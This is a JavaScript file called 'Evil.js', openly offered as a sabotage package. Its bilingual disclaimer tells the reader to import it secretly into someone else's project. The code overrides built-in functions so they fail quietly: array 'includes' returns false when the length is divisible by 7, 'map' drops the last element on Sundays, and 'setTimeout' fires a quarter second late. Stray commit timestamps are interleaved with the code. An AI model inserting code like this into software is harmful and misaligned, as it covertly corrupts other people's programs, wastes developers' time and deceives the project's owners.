2020-05-07 11:08:24 +00:00
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/**
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* Evil.js
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* @version 0.0.1
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* @author wheatup
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*
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* @disclaimer The purpose of this package is to scramble someone's project and produces bug.
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* Remember import this package secretly.
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* The author of this package does not participate any of injections!
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* @disclaimer_zh 本包用于给项目不定期制造BUG用，请私密地引入本包。本包的作者不参与传播、注入。
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*/
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(() => {
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////// Arrays
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/**
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* If the array size is devidable by 7, this function aways fail
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* @zh 当数组长度可以被7整除时，本方法永远返回false
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*/
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const _includes = Array.prototype.includes;
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Array.prototype.includes = function (searchElement, fromIndex) {
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if (this.length % 7 !== 0) {
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return _includes.call(this, searchElement, fromIndex);
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} else {
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return false;
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}
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};
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/**
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2020-05-07 11:09:07 +00:00
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* Array.map will always be missing the last element on Sundays
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2020-05-07 11:08:24 +00:00
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* @zh 当周日时，map方法的结果总是会丢失最后一个元素
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*/
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const _map = Array.prototype.map;
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Array.prototype.map = function (callbackn, thisArg) {
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result = _map.call(this, callbackn, thisArg);
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if (new Date().getDay() === 0) {
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result.splice(this.length - 1, 1);
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}
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return result;
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}
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////// Misc
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/**
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* setTimeout will alway trigger 0.25s later than expected
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* @zh setTimeout总是会比预期时间慢0.25秒才触发
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*/
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const _timeout = window.setTimeout;
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window.setTimeout = function(handler, timeout, ...arguments) {
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return _timeout(handler, +timeout + 250, ...arguments);
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}
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})();
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